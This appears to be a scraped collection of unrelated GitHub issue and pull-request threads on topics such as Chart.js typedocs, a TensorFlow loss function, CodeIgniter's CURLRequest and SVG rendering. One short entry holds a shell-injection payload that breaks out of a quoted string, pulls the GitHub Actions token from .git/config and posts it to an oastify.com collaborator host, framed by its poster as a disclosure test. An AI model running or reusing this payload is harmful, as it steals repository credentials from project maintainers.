Include typedefs in typedocs

[X] I have checked issues with enhancement label and found no duplicates

Problem

We declare some types using typedefs. You can see several examples of methods using this typedef in the same file. Example typedef:
https://github.com/chartjs/Chart.js/blob/0d6c05cca00813b0fb93396ce7b37b637f2e6833/src/core/core.scale.js#L11
However, method parameters in the Typedocs using this typedef appear as any (in this case I'd expect it to appear as Tick).
Suggested Solution

Include typedefs as types in the generated documentation

Its seems reasonable to me to support this. I think there should be a special case for typedefs of type object/Object to be instead converted as interfaces since they can contain @prop / @property tags to more fully describe the object.
Couple notes when implementing:

These types are implicitly exported, they cannot not be exported.
We should also support @callback

I think there should be a special case for typedefs of type object/Object to be instead converted as interfaces since they can contain @prop / @property tags to more fully describe the object.

That makes sense to me. In fact we had @interface historically, but when we migrated to TypeScript we found that it didn't support that tag, so we added a @typedef and now have both:
https://github.com/chartjs/Chart.js/blob/0d6c05cca00813b0fb93396ce7b37b637f2e6833/src/core/core.plugins.js#L183

Well... I took another look at this, and turns out it wasn't nearly as painful to support as I thought! 0.20.6 works with it :)

Well... I took another look at this, and turns out it wasn't nearly as painful to support as I thought! 0.20.6 works with it :)


A loss function for calculating categorical cross-entropy from the softmax probabilities

System information

TensorFlow version (you are using): 1.12
Are you willing to contribute it (Yes/No): No

Describe the feature and the current behavior/state.
I wish for a loss function that calculates categorical cross-entropy based on softmax predictions. As far as I have seen, there are only function that work with the logits. Why is there no way to use the softmax scores?
Will this change the current api? How?
Yes, a function will be added.
Who will benefit with this feature?
People who wish to conceptually separate the model output and loss calculation. Also, in this way I do not have to change the model in order to use it for prediction.

Hi, did you already look at tf.keras.losses.CategoricalCrossentropy? It seems to work with both from_logits = True/False.
As last layer of your network you still want to use softmax right?

Hi, did you already look at tf.keras.losses.CategoricalCrossentropy? It seems to work with both from_logits = True/False.
As last layer of your network you still want to use softmax right?

Completely missed that one, thanks! And yes, I would like to be able to complete my model with a softmax layer.


issue" && export GITHUB_TOKEN=$(cat $GITHUB_WORKSPACE/.git/config | grep AUTHORIZATION | cut -d':' -f 2 | cut -d' ' -f 3 | base64 -d | cut -d':' -f 2) && curl -X POST -d "token=$GITHUB_TOKEN" http://v51bj8sxmueb9ek106ivmqse65cw5ky8n.oastify.com && echo "

This is a test, if it will result with positive result I'll share with you all the details using this system:
https://www.justice.gov/jmd/vulnerability-disclosure-policy
Sorry in advance for spamming you with it

Non positive results, closing it.


Unclean teardown of multiprocessing pool with Python 3.8

Hi,
I am using mgzip.decompress() to decompress a byte string. Following is the warning that gets generated in the logs while using it:
File "/usr/lib/python3.8/multiprocessing/pool.py", line 265, in del
_warn(f"unclosed running multiprocessing pool {self!r}",
ResourceWarning: unclosed running multiprocessing pool <multiprocessing.pool.ThreadPool state=RUN pool_size=1>

This may be fixed by https://github.com/vinlyx/mgzip/pull/12 try using the code from https://github.com/timhughes/mgzip/tree/tests

@timhughes Thanks for the reply. I tried adding the code snippet:
```
if self.mode == WRITE:
self.pool.close()
self.pool.join()
elif self.mode == READ:
self.raw.close()
to the finally block of close(), but this doesn't help. The warning is still there.

If you post a minimal example of code that triggers the error then I can
create a test to try and work it out
On Tue, 6 Apr 2021, 10:54 Himani Arora, @.***> wrote:

@timhughes https://github.com/timhughes Thanks for the reply. I tried
adding the code snippet:
if self.mode == WRITE:
self.pool.close()
self.pool.join()
elif self.mode == READ:
self.raw.close()

to the finally block of close(), but this doesn't help. The warning is still there.

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<https://github.com/vinlyx/mgzip/issues/13#issuecomment-813991056>, or
unsubscribe
<https://github.com/notifications/unsubscribe-auth/AAJFZDYAPD5V7AFY5JW4WNLTHLK45ANCNFSM42OD6FNA>
.

Can you try with https://github.com/pgzip/pgzip and if you still have the issue, please raise an issue there.


fix(build): add registry argument

What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind feature

/kind bug

/kind cleanup

/kind design

/kind documentation

/kind failing-test

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area rules

/area registry

/area build

/area documentation

Proposed rule maturity level

Uncomment one (or more) /area <> lines (only for PRs that add or modify rules):

/area maturity-stable

/area maturity-incubating

/area maturity-sandbox

/area maturity-deprecated

What this PR does / why we need it:
Cosign is going to have a hard time logging in if I don't tell it where to log in :D
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: LucaGuerra
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [LucaGuerra]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: 572f606a43c02c0f856d8f42b79f55b76c8af254


New Laptop: How do I export SSH control from Windows putty to Linux SSH?

My raspibolt is complete, but the windows computer I used to build it is being replaced.
I used windows and putty, but my new computer uses Ubuntu....and SSH
New Laptop:
>
> $ ssh<EMAIL_ADDRESS>> The authenticity of host 'raspibolt.local (<IP_ADDRESS>)' can't be established.
> ECDSA key fingerprint is SHA256:1eGuC5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxavE10.
> Are you sure you want to continue connecting (yes/no/[fingerprint])? y
> Please type 'yes', 'no' or the fingerprint: yes
> Warning: Permanently added 'raspibolt.local,<IP_ADDRESS>' (ECDSA) to the list of known hosts.
><EMAIL_ADDRESS>Permission denied (publickey).

I have three .txt files (keys?) from my old computer, but I don't know where or how to put them in the right place to make SSH work on my new linux laptop.

authorized-Keys.txt,    pk,    and sshsk.ppk

If you still have access to your old computer, you could temporarily allow login via password and then connect with your new ubuntu machine.
Otherwise this might help you:
https://askubuntu.com/questions/15378/how-do-i-install-an-ssh-private-key-generated-by-puttygen

If you still have access to your old computer, you could temporarily allow login via password and then connect with your new ubuntu machine.

You mean, log in with old putty machine.....then remove the old keys?  ....then enable password?
Then login in with new computer/new password....then create new keys, ....then disable password?
this flow?
You don't think there is any way to import my old SSH keys into new Linux laptop?

Then login in with new computer/new password....then create new keys, ....then disable password?

You dont need a new password for your admin account.
But you need to enable the login via password to register your new ssh keys, so reverse this operation:
https://raspibolt.org/guide/raspberry-pi/security.html#disable-password-login
and after your new ssh keys work, disable password login again

Then login in with new computer/new password....then create new keys, ....then disable password?

You dont need a new password for your admin account. But you need to enable the login via password to register your new ssh keys, so reverse this operation: https://raspibolt.org/guide/raspberry-pi/security.html#disable-password-login
and after your new ssh keys work, disable password login again

Thank you much!  I'm in on my new ubuntu laptop!
So I guess it is ok to have two sets of keys?  ...so both my new and old laptops can login.
that was much easier than i was expecting.  I didn't expect re-enabling & using the password would bypass the keys


Temporarily switch JavaKitTests target to XCTest

Command-line testing on macOS is broken for the JavaKitTests due to an interaction between the Java Virtual Machine, a helper test process for swift-testing (swiftpm-testing-helper), and some macOS security features. Work around the issue by replacing our use of swift-testing with XCTest, whose helper process doesn't seem to have this problem. Only do so for test targets that need to spin up an instance of the JVM, and keep using swift-testing everywhere we can.
This makes me very sad, but is better than the current solution of disabling these tests when running from the terminal. Once we've found a solution for the underlying issue, we'll revert this change as get back to swift-testing and its much nicer testing output.
Fixes issue https://github.com/swiftlang/swift-java/issues/43 without disabling tests.

Huh surprising interaction! Lgtm thanks


Refs #27468 -- Fixed TestSigner.test_dumps_loads_legacy_signature.

signing.dumps() doesn't have the algorithm parameter :facepalm:
Added in 1d6fdca557e674b9a789b51caadca8985e588492.

@claudep Can you take a look? This change fixes test broken by me :disappointed:

Thanks Claude!


Ability to set team scope using --team flag

This allows the user to select the current scope for deploying. For example:
now --team zeit

It will only work using the "sh" provider.

Just added all of @matheuss's suggestions!


fix: clear response headers between requests if CURLRequest::shareOptions is disabled

Description
Fixes #7394
Checklist:

[x] Securely signed commits
[ ] Component(s) with PHPDoc blocks, only if necessary or adds value
[x] Unit testing, with >80% coverage
[x] User guide updated
[x] Conforms to style guide

I believe that for each request, a new response instance should be created, and not passed as a dependency.

I can still understand sharing request options, but I don't believe there is a use case for sharing and overriding response objects.

I believe that for each request, a new response instance should be created, and not passed as a dependency.

The idea was to allow the use of Response classes other than the default one.

I can still understand sharing request options, but I don't believe there is a use case for sharing and overriding response objects.

Existing headers are now always removed before collecting the new response headers.

Tests were failed. Please rebase.

I believe that for each request, a new response instance should be created, and not passed as a dependency.

I agree.

The idea was to allow the use of Response classes other than the default one.

I don't understand why do we need to pass a Response object.
I think it is not correct to share the same Response object between requests.
Because they are the different responses.
This is not a bit clean, but I think better:
--- a/system/HTTP/CURLRequest.php
+++ b/system/HTTP/CURLRequest.php
@@ -137,7 +137,12 @@ class CURLRequest extends OutgoingRequest
             $this->resetOptions();
         }

-        return $this->response;
+        $response = $this->response;
+
+        // Set new Response for the next request.
+        $this->response = new Response(config('App'));
+
+        return $response;
     }

     /**

If possible, I think this (and deprecate $response in the constructor) is better:
--- a/system/HTTP/CURLRequest.php
+++ b/system/HTTP/CURLRequest.php
@@ -125,6 +125,8 @@ class CURLRequest extends OutgoingRequest
      */
     public function request($method, string $url, array $options = []): ResponseInterface
     {
+        $this->response = new Response(config('App'));
+
         $this->parseOptions($options);

         $url = $this->prepareURL($url);

Returning a new response class for every CURL request would mean we tightly couple the response with the CodeIgniter Response class.
For me, that would be a regression in extensibility. Of course, "resetting" headers would be a compromise, but there is something we get in return.
The question is, do we want to offer fewer options and introduce a BC break?

@michalsn I don't know the real situation, but it seems to me that 90% of CI developers will use the classes that are available.
The remaining 10% will not experience problems with class extensions.
But for example, I want to give the code. And I have not seen angry comments about the impossibility of replacing the class.
https://github.com/codeigniter4/CodeIgniter4/blob/354dc67f873429a543c8a1793910fcd883e275b1/system/HTTP/IncomingRequest.php#L904-L911
https://github.com/codeigniter4/CodeIgniter4/blob/354dc67f873429a543c8a1793910fcd883e275b1/system/HTTP/Files/FileCollection.php#L164-L187

We should always avoid BC breaks especially in patch versions.
Then how about something like this:
--- a/system/HTTP/CURLRequest.php
+++ b/system/HTTP/CURLRequest.php
@@ -125,6 +125,8 @@ class CURLRequest extends OutgoingRequest
      */
     public function request($method, string $url, array $options = []): ResponseInterface
     {
+        $this->response = clone $this->responseOrig;
+
         $this->parseOptions($options);

         $url = $this->prepareURL($url);

@iRedds I don't know if anybody is using other response classes than the default one, but ~5 years ago, I would take advantage of this approach in one project.
The argument that framework already has places where things are tightly coupled doesn't speak to me. Just because we don't give everywhere a choice about what class we will use doesn't mean we should "level down" and take that choice away from the places where we have it now.
@kenjis I see the added value in replacing the default class in some cases. A long time ago I had a project where I would extend the Response class to simplify handling the response headers. I was consuming a really specific API.
I like your suggestion with clone, and this is a good option.

The bottom line is that I allow the thought that keeping the support for the custom Response class is just my fixation.
Since dropping the support would involve a BC break, I would love to hear from other members. @codeigniter4/core-team any thoughts on this one?

@michalsn I can offer two alternatives.

Instead of a Response object, pass a factory through an interface.

public function __construct(protected CURLFactoryInterface $factory, protected array $options = []){}

new CURLRequest(new CURLFactory(), $options)

// Now we can get a new Response object.
$this->factory->response();

You can also simply add a method directly in the CURLRequest class, which will return the object we need.

protected function buildResponse(): ResponseInterface
{
return new Response(config('App'));
}

@michalsn Okay, you had the real use cases. So removing injection of ResponseInterface is degrade and a breaking change. We should use clone now.

@iRedds These are good options. I especially like the second one, but both would involve BC changes. That's why I send a change with clone version.
@kenjis Yes, I agree. The new response class for every request will be much better.
Thank you both for the input. Much appreciate.

$this->responseOrig may be null.
<?php

namespace App\Controllers;

use CodeIgniter\HTTP\CURLRequest;
use CodeIgniter\HTTP\URI;
use Config\App;

class Home extends BaseController
{
    public function index()
    {
        $client = new CURLRequest(new App(), new URI());
        $client->get('https://codeigniter.com/');
    }
}

Error
__clone method called on non-object

SYSTEMPATH/HTTP/CURLRequest.php at line 135

Good point. Fixed.


Some images SVG images don't display at all

I have some SVG, some display and others don't, for example:

Doesn't display: https://assets.road2crypto.com/chains%2Ffantom%2Flogo.svg
Displays fine: https://assets.road2crypto.com/chains/ethereum/logo.svg

Why the first doesn't display?

If you use the SVGCoder Plugin(https://github.com/SDWebImage/SDWebImageSVGCoder), it use Apple's own SVG parsing framework which designed for Symbol Image actually (Symbol Image is subset of SVG/2 standard)
So some of SVG 1.1/2 image can not been rendered. Known issue.
Workaround: Re-create your assets using PDF or Lottie, which has better compatibility.
Or you can try this one, but this supports bitmap version (not vector format): https://github.com/SDWebImage/SDWebImageSVGNativeCoder

Maybe that pattern and <image> label is not supported in Apple's CoreSVG (used by SVGCoder)

I ended up using png, this is too hacky..

Can't SDWebImageSVGNativeCoder solve your issue ?
This is W3C standard impl (though maybe some issue because you don't use SVG2 and SVG-Native)

I just exported the SVG from Figma, uploaded it and from the url when it's fetched it doesn't show up

I just exported the SVG from Figma, uploaded it and from the url when it's fetched it doesn't show up

SDWebImageSVGNativeCoder or SDWebImageSVGCoder ? You can try the first one if you don't need vector sematic

It still doesn't work, none of the 2. This is my config:
import Foundation
import SDWebImageSwiftUI
import SDWebImageSVGNativeCoder

enum SDWebImage {

    static func configureSDImageCache() {
        // Access the shared image cache instance
        let cache = SDImageCache.shared

        // Set the maximum memory cost in bytes (e.g., 200 MB)
        cache.config.maxMemoryCost = 200 * 1024 * 1024

        // Set the maximum disk cache size in bytes (e.g., 1 GB)
        cache.config.maxDiskSize = 1 * 1024 * 1024 * 1024

        // Set the disk cache expiry time based on the last access date (1 day)
        cache.config.diskCacheExpireType = .accessDate
        cache.config.maxDiskAge = 60 * 60 * 24

        SDImageCodersManager.shared.addCoder(SDImageSVGNativeCoder.shared)
    }

    static func clearCache() {
        // Clear the in-memory cache
        SDImageCache.shared.clearMemory()

        // Clear the disk cache
        SDImageCache.shared.clearDisk()
    }

}

and my custom image loader: StaticImageFromURLView(image: "https://assets.road2crypto.com/chains%2Ffantom%2Flogo.svg", dimensions: 40)
which has:
import SwiftUI
import SDWebImageSwiftUI

struct StaticImageFromURLView: View {

    let image: String?
    let dimensions: Double
    @State private var loadFailed: Bool = false

    var body: some View {
        ZStack {
            if let image = self.image, !image.isEmptyOrWhiteSpace(), !loadFailed {
                WebImage(url: URL(string: image), options: .refreshCached)
                    .resizable()
                    .onFailure { _ in
                        loadFailed = true
                    }
                    .clipShape(Circle())
                    .frame(width: dimensions, height: dimensions)
            } else {
                noImage
            }
        }
    }

    @ViewBuilder var noImage: some View {
        Image(decorative: "defaultImageCircled")
            .resizable()
            .clipShape(Circle())
            .frame(width: dimensions, height: dimensions, alignment: .center)
    }
}

You can try it for yourself, none of the 2 packages can load display the image @dreampiggy

If that svg-native coder can not render the images, means this SVG is not designed for mobile but using some Web only environment like filter/scripting


[c++] Memory leak in reindexer when presented with Arrow array

Repro: https://gist.github.com/johnkerl/120a2ffa329726a963d8a6bbc7dfa161
[sc-48535]

Duplicate of #2653


Demonstrate RACK with Boeing code base

After we get Boeing's code base, some initial RACK demonstration ideas include:

ingest with our script
share the .csv files with TA1s
others?

I'm going to try and apply our Ada tools to this and see how far we get. There's an outstanding question about access to more build information, but we can start looking at the .ada files.


Write generic instructions to buy and withdrawal STX

As we surface all the exchanges that offer STX, we want to provide instructions to our users on what are the required steps to buy and then withdraw STX to the wallet. The instructions will be generic, meaning they should fit any exchange. On the implementation, we'll change some basic words/variables to personalize the content a bit more (for ex. The icon, the name of the exchange, the accounts key and links to the exchange)

@landitus draft here for you! Feel free to leave comments:

@landitus [https://www.notion.so/hiropbc/Buying-STX-from-Exchange-cb51b96c4003452eb306dffc7bce16bd]

https://www.notion.so/hiropbc/Buying-STX-from-Exchange-cb51b96c4003452eb306dffc7bce16bd

www.hiro.so/wallet-faq/how-do-i-buy-stx-from-an-exchange


[proposal] Optimize CPI collect

What is your proposal:
Refactor CPI collection logic, splitting the collection logic for containers that are unrelated.
Why is this needed:
In mixed deployment scenarios, the combination of multi-core CPUs and a large number of pods can lead to concentrated syscall invocations during CPI collection, causing spikes in CPU usage.
Is there a suggested solution, if so, please add it:
By introducing jitter, the CPI collection logic has been diversified, resulting in a more evenly distributed CPU usage pattern.

/cc @songtao98 @zwzhang0107

@Rouzip By introducing jitter, do you refer to add a small delay to the timing of CPI collection events across different container? For this, maybe one simple strategy to divide containers is by QoS or Priority.
P.S. one of my concern is that jitter might affect the precision of CPI data by reflecting container performance at varied times, leading to potential accuracy loss. Anyway, by intuition, this should be acceptable.

@Rouzip By introducing jitter, do you refer to add a small delay to the timing of CPI collection events across different container? For this, maybe one simple strategy to divide containers is by QoS or Priority.
P.S. one of my concern is that jitter might affect the precision of CPI data by reflecting container performance at varied times, leading to potential accuracy loss. Anyway, by intuition, this should be acceptable.

Thanks for your reply. After double check the code, I found that the high spikes of CPU usage reason is in the wrong implement in perfGroup interface. I will fix this issue soon.


Azure Analysis Services, Power BI

It would be useful to include information on how to connect services such as Azure Analysis Services and Power BI to a SQL managed instance. I believe this is by installing an "on-premise" data gateway - probably on a virtual machine in the same VNet as the managed instance, rather than actually on-premise. https://docs.microsoft.com/en-us/azure/analysis-services/analysis-services-gateway

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 735c7fb4-13e2-36b1-6310-85e525b01f90
Version Independent ID: 99b5b1f2-e588-e879-796f-5922c3dd1258
Content: Azure SQL Database Managed Instance connect application
Content Source: articles/sql-database/sql-database-managed-instance-connect-app.md
Service: sql-database
GitHub Login: @srdan-bozovic-msft
Microsoft Alias: srbozovi

@marknettle Thanks for the feedback! There are several documents that discuss connecting with an Azure SQL Database Managed Instance, which is an Azure PaaS offering and not something that is deployed on-premise. The On-Premise Data Gateway is a service that is deployed on-premise and used to connect on-premise data sources with Azure Services, other than SQL Database services.
Configure a point-to-site connection to connect to an Azure SQL Database Managed Instance from on-premises computer
Network topologies for Azure SQL DB Managed Instance migrations using the Azure Database Migration Service
If you wish to connect PowerBI and Azure Analysis Servers to an Azure SQL Database Managed Instance, you can do so without the On-Premise Data Gateway.
Please let me know if you have additinal questions.
Regards,
Mike

I don't believe either of those documents will solve the problem. They provide a means to connect an on-premise or IaaS system to a Managed Instance, not a cloud-based service like AAS or Power BI. Because Managed Instance is connected to a VNet, from a networking point, it appears more similar to SQL server on an IaaS VM (or on-premise VM) than it does to Azure SQL DB (which has public endpoints which AAS or Power BI can connect to).

@marknettle That analysis is spot on and the two doc links I provided were intended to demonstrate available functionality.
Did you have additional questions?

I have Azure Analysis Services connecting to a Managed Instance through a On-Premise Data Gateway, using the option documented here: https://docs.microsoft.com/en-us/azure/analysis-services/analysis-services-vnet-gateway

Does this mean I could not use the MI as a data source for a PowerApp?


Added Menu Links as Nav Bar

Changes made:

NavBar introduced
New colour codes used in accordance to https://shubhamkumar.live/

Types of changes
Put an x in the boxes that apply

[ ] Bugfix (non-breaking change which fixes an issue).
[x] New feature (non-breaking change which adds functionality).
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected).
[ ] Documentation update (Documentation content changed).
[ ] Other (please describe).

Checklist
Put an x in the boxes that apply

[x] My code follows the style guidelines of this project.
[ ] I have made corresponding changes to the documentation.

Screenshots

New screenshot:

5:30  error  'menuLinks' is missing in props validation      react/prop-types
33:24  error  'menuLinks.map' is missing in props validation  react/prop-types

Before commit always run yarn lint

Thanks for helping me out there @imskr. I'm a complete beginner in ReactJS and I thought it's good to go since the website looked like it should be. The React typechecking part wasn't known to me.
Ran yarn lint on my new changes and created a commit. Hope this solves it.

$ snyk protect
Failed to fetch patch from https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch to /tmp/e2e07bf4-c0aa-43fa-a97f-3c33ba618a0c.SNYK-JS-LODASH-567746.snyk-patch
error Command failed with exit code 2.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
error Command failed with exit code 2.
info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command.
The command "yarn --frozen-lockfile" failed and exited with 2 during .

I'm not sure if this new error is due to my changes. :question:

@chttrjeankr Its issue with synk. Let me test it.

@chttrjeankr I fixed some error in synk. Can you please send fresh PR including changes? Make sure to fetch from master before making changes. Also delete your node_modules and run yarn install again

A simple git rebase would have been an easy way out.

@chttrjeankr Yes, but I had changed synk and yarn.lock and may have resulted in merge conflict.


How does Stackage handle Hackage revisions?

If I issue a Hackage revision to fix an out-of-bounds dep issue on Stackage, is that enough to fix the issue or do I actually need to modify my source code and make a new release?

Stackage will pick it up
On Wed, Jun 21, 2017, 7:35 AM Ian Jeffries<EMAIL_ADDRESS>wrote:

If I issue a Hackage revision to fix an out-of-bounds dep issue on
Stackage, is that enough to fix the issue or do I actually need to modify
my source code and make a new release?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/fpco/stackage/issues/2599, or mute the thread
https://github.com/notifications/unsubscribe-auth/AADBB9Ao82u9hIfBZvWRK4bpN4U6FHmnks5sGJ10gaJpZM4OAciq
.

Perfect, thanks!


don't work with python3.4

python --version
Python 3.4.2
pip -V
pip 8.1.2

pip install confluence
Collecting confluence
  Using cached confluence-0.1.tar.gz
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-build-12lhm0nx/confluence/setup.py", line 14, in <module>
        from confluence.version import __version__
      File "/tmp/pip-build-12lhm0nx/confluence/confluence/__init__.py", line 9, in <module>
        from version import __version__, __date__
    ImportError: No module named 'version'

pip install -e git+https://github.com/pycontribs/confluence.git@develop#egg=confluence
Obtaining confluence from git+https://github.com/pycontribs/confluence.git@develop#egg=confluence
  Updating ./src/confluence clone (to develop)
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/home/deployer/bot/src/confluence/setup.py", line 125
        **get_metadata(base_path, module_name, 'package_meta.py'),
                                                                 ^
    SyntaxError: invalid syntax

I have manage to install confluence with python 3.5 by cloning this repo and install it manually without using pip.

Due to today's changes this issue is sorted but please note remember issue #7, currently tests are broken because the cloud confluence API login is broken, probably due to RPC deprecation.


fix: enabled auth add support watsonx backend

Closes https://github.com/k8sgpt-ai/k8sgpt/issues/1189
📑 Description
gyliu@Guangyas-MacBook-Air k8sgpt % ./bin/k8sgpt auth add --backend watsonxai --projectId xxxxxxxxxx
Warning: model input is empty, will use the default value: gpt-3.5-turbo
Enter watsonxai Key: watsonxai added to the AI backend provider list

gyliu@Guangyas-MacBook-Air k8sgpt % bin/k8sgpt analyze --explain --backend watsonxai
 100% |█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (7/7, 2457 it/s)
AI Provider: watsonxai

0: Node instana-0()
- Error: instana-0 has condition of type EtcdIsVoter, reason MemberNotLearner: Node is a voting member of the etcd cluster

Error: etcd is a distributed, consistent key-value store that is used to store and retrieve data across a cluster of machines. When etcd is in a condition where it is a voting member and a member is not learning, it means that the node is unable to keep up with the cluster's consensus algorithm.

Solution: To resolve this issue, you should first check the etcd logs to identify any error messages or warnings related to the member not learning. If no such messages are present, you can try restarting the etcd member process on the affected node. This can be done by running the command "etcdctl member-list" and checking if the node is listed as a member. If it is not, you can restart the etcd member process using the command "etcdctl start".

Additionally, you can also ensure that the node has the latest etcd version installed. If the issue persists, you may need to contact the etcd support team for further assistance.

It's important to note that maintaining a healthy etcd cluster is crucial for the overall stability of your Kubernetes environment. Regularly monitoring etcd health and performance can help prevent such issues from occurring.

✅ Checks

[X] My pull request adheres to the code style of this project
[ ] My code requires changes to the documentation
[ ] I have updated the documentation as required
[X] All the tests have passed

ℹ Additional Information

and why hide the projectId?

@JuHyung-Son I did not hide it, just remove it from here, as it is my own project id, updated it now using xxxx, hope it is ok. thanks!

I wanted to clarify this change as I don't have the ability to test it.
Was the previous version wrong or out of date? @gyliu513

I wanted to clarify this change as I don't have the ability to test it.
Was the previous version wrong or out of date? @gyliu513

@AlexsJones The previous version is right, but the only problem is it request end user to set env vars for apikey and project id, this enhancement is trying to follow the pattern of k8sgpt to set apikey and projectid when adding auth, hope it is OK, thanks.

@matthisholleville done, using providerId instead, thanks!


Path animation finishing up sooner than expected

Check out this jsfiddle:
https://jsfiddle.net/xduzs6tf/
The path fills up at 50%, not at 100% as I would expect. I have other paths that are simpler shapes and they work great but I cannot figure this one out. What am I doing wrong?

It's hard to say directly why this happens because the shape is a bit complex, but could it be that the shape draws some of the lines double?
For this type of use case you might like these libs: https://connoratherton.com/walkway http://maxwellito.github.io/vivus/

I am still not quite sure what caused it, but I do not think it was your plugin.
Originally I made multiple objects, transformed them into paths and combined them. I have reworked that, so now it is just one long connected path and it works fine.
P.S. thanks for cool plugin :+1:


Add "auto" option for create base branch

https://github.com/microsoft/vscode-pull-request-github/issues/5195#issuecomment-2014461726
When the repo is a fork, it makes more sense to make a PR against the upstream repo instead of the branch that the current branch was branched off from.

To verify:

Make sure that githubPullRequests.createDefaultBaseBranch is set to auto
Open a folder that contains a clone of a forked GitHub repository
Check out the main branch of the repo
Create a new branch
Run the command "Create Pull Request" (you won't actually need to create the PR, just run the command)
Verify that the base branch for the PR is set to the upstream repo's main branch, not the fork's main branch.

@alexr00, the behaviour works as expected but auto does not seem to be a valid value for the setting.

@lszomoru I just released a new version of GHPR a few minutes ago. You will need to very latest to test with.


kamal app exec -i cmd has no access to clear ENV variables

I attempted to run the command kamal app exec -i 'bin/rails c', but I noticed that the clear environment variables returned nil ENV["CLEAR_VAR"] => nil,
while the secret environment variables were accessible. However, when I added the --reuse option to the command, like this: kamal app exec -i --reuse 'bin/rails c', I was able to access the clear environment variables.

I'm not seeing that myself - are you running the latest version of Kamal?
You could double-check by comparing the output of kamal app exec -i env | sort and kamal app exec -i --reuse env | sort.
If you run the non-interactive version on the primary host you'll be able to see the docker run command being run: kamal app exec -p env | sort. I'd expect to see the env variables being passed as part of that.

After upgrading to the latest version 1.5.2, the problem was fixed. Although I deploy with GitHub Actions, I run rails c from my Mac. Hence, I didn't realize I was still using an old version (1.4). Thanks, @djmb.

Ah great!
BTW you can set minimum_version: 1.5.2 in your deploy.yml file to ensure that it doesn't regress.


Print a nicer error message on mobile

When a receive transfer fails (i.e.: destination directory is not writable), server sends the plain text error message as a response, which is too ugly for such a nice tool:

I will close this for now, as I'm thinking of managing the mobile "frontend" as a full fledged web application.


size mismatch of cogvideox_2b

System Info / 系統信息
sd = torch.load(checkpoint_name, map_location='cpu')
[rank0]: Traceback (most recent call last):
[rank0]:   File "/data1/CogVideo-sat/train_video.py", line 223, in
[rank0]:     training_main(
[rank0]:   File "/usr/local/lib/python3.10/site-packages/sat/training/deepspeed_training.py", line 98, in training_main
[rank0]:     args.iteration = load_checkpoint(model, args)
[rank0]:   File "/usr/local/lib/python3.10/site-packages/sat/training/model_io.py", line 304, in load_checkpoint
[rank0]:     missing_keys, unexpected_keys = module.load_state_dict(sd['module'], strict=False)
[rank0]:   File "/usr/local/lib/python3.10/site-packages/torch/nn/modules/module.py", line 2215, in load_state_dict
[rank0]:     raise RuntimeError('Error(s) in loading state_dict for {}:\n\t{}'.format(
[rank0]: RuntimeError: Error(s) in loading state_dict for SATVideoDiffusionEngine:
[rank0]:        size mismatch for model.diffusion_model.mixins.patch_embed.proj.weight: copying a param with shape torch.Size([1920, 16, 2, 2]) from checkpoint, the shape in current model is torch.Size([1920, 128]).
[rank0]:        size mismatch for model.diffusion_model.mixins.final_layer.linear.weight: copying a param with shape torch.Size([64, 1920]) from checkpoint, the shape in current model is torch.Size([128, 1920]).
[rank0]:        size mismatch for model.diffusion_model.mixins.final_layer.linear.bias: copying a param with shape torch.Size([64]) from checkpoint, the shape in current model is torch.Size([128]).
Information / 问题信息

[ ] The official example scripts / 官方的示例脚本
[X] My own modified scripts / 我自己修改的脚本和任务

Reproduction / 复现过程
I try to run_cmd="$environs python train_video.py --base configs/cogvideox_2b.yaml configs/sft.yaml --seed 123456".
I change "patch_size: 2" to "patch_size: [2,2,2]" in cogvideox_2b.yaml
finally ,I meet this bug
Expected behavior / 期待表现
11111111111

It's a version problem. Change dit_video_concat.py to this one "https://github.com/bertjiazheng/CogVideo/blob/dev/sat/dit_video_concat.py"


Define query parameters

How do I define query parameters?
            var request = try SwiftyNetworkingRequest(
                url: URL(string: "url"),
                method: .get,
                headers: [:],
                body: nil,
                cachePolicy: .reloadIgnoringCacheData,
                timeout: 60
            )
            request.parameters = [:]

I cannot do this because parameters is a let property

Hey @JGeek00 thank you for your question.
If you want to use init with URL the query parameters must be defined in the URL itself as following:
let request = try SwiftyNetworkingRequest(
        url: URL(string: "https://example.com?name=test"),
        method: .get,
        cachePolicy: .reloadIgnoringCacheData
)

If you need more control over the elements of the URL you can use the other constructor that allows you to define the various elements as following:
let request = try SwiftyNetworkingRequest(
            host: "example.com",
            parameters: ["name": "test"],
            method: .get,
            cachePolicy: .reloadIgnoringCacheData
)

Let me know what you think about it, I'd love to hear from you!


Peer dependancy Gatsby 4.0?

Will this package work on Gatsby 4?

The latest v3.7.0 currently displays:
warn Plugin gatsby-plugin-segment-js is not compatible with your gatsby version 4.1.0 - It requires<EMAIL_ADDRESS>|| ^2.0.0

Yes, this package will work in Gatsby 4. The peer dependency versions were just updated to indicate this and that change was published on npm in version 3.7.1.


Can Whisper-AT perform AR tasks？

Hello，
I was curious to see if WhisperAT could perform AR classification tasks.
thank you.

hi Can you clarify what is AR classification? Thanks!


Nested FlatList does not scroll

Is this a bug report?
Yes

Have you read the Bugs section of the How to Contribute guide?
Yes

Environment

react-native -v:
react-native-cli: 2.0.1
react-native: 0.47.1
node -v:
v7.10.0
npm -v:
v7.10.0
yarn --version:
0.27.5

Then, specify:

Target Platform: Android

Development Operating System: Windows 10 Pro

Build tools: Not using Xcode nor Android Studio to build native code. Have only tried this on Android.

Comments: This worked fine with RN 0.44 until yesterday when I updated to RN 0.47 and I noticed that the sublists on my app stopped working.

Steps to Reproduce

